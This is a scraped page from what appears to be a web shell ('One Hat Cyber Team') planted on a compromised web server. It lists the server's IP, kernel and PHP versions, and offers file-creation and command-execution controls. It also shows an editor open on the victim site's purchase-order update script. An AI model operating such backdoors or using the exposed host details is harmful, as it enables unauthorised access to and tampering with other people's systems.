⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
sd.electronharmony.com
/
Edit File: update.php
connect_error) { die("Connection failed: " . $conn->connect_error); } // Check if the form is submitted if ($_SERVER['REQUEST_METHOD'] == 'POST') { $aname = $_POST['aname']; $amountss = $_POST['amountss']; $bname = $_POST['bname']; $cname = $_POST['cname']; $remark = $_POST['remark']; $statuss = $_POST['statuss']; // Update query $sql = "UPDATE caigou SET aname=?, amountss=?, bname=?, cname=?, remark=?, statuss=? WHERE id=?"; $stmt = $conn->prepare($sql); if ($stmt === false) { die("Error preparing statement: " . $conn->error); } if (!$stmt->bind_param("ssssssi", $aname, $amountss, $bname, $cname, $remark, $statuss, $id)) { die("Error binding parameters: " . $stmt->error); } if ($stmt->execute()) { echo "Data updated successfully"; header("Location: index.php"); exit(); // Ensure no further code is executed } else { echo "Error updating data: " . $stmt->error; } $stmt->close(); } // Retrieve data to display in the form $sql = "SELECT * FROM caigou WHERE id=?"; $stmt = $conn->prepare($sql); if ($stmt === false) { die("Error preparing statement: " . $conn->error); } if (!$stmt->bind_param("i", $id)) { die("Error binding parameters: " . $stmt->error); } if (!$stmt->execute()) { die("Error executing query: " . $stmt->error); } $result = $stmt->get_result(); $row = $result->fetch_assoc(); $stmt->close(); $conn->close(); } else { die("No ID parameter provided."); } ?>
修改数据
修改数据
首页
删除
修改数据
删除
修改数据
产品名称
数量
品牌名称
叫货公司
>S.J
>grand
>新利华
>Fresh Green
>面点
>自购
备注
状态
>No
>Yes
提交修改
Simpan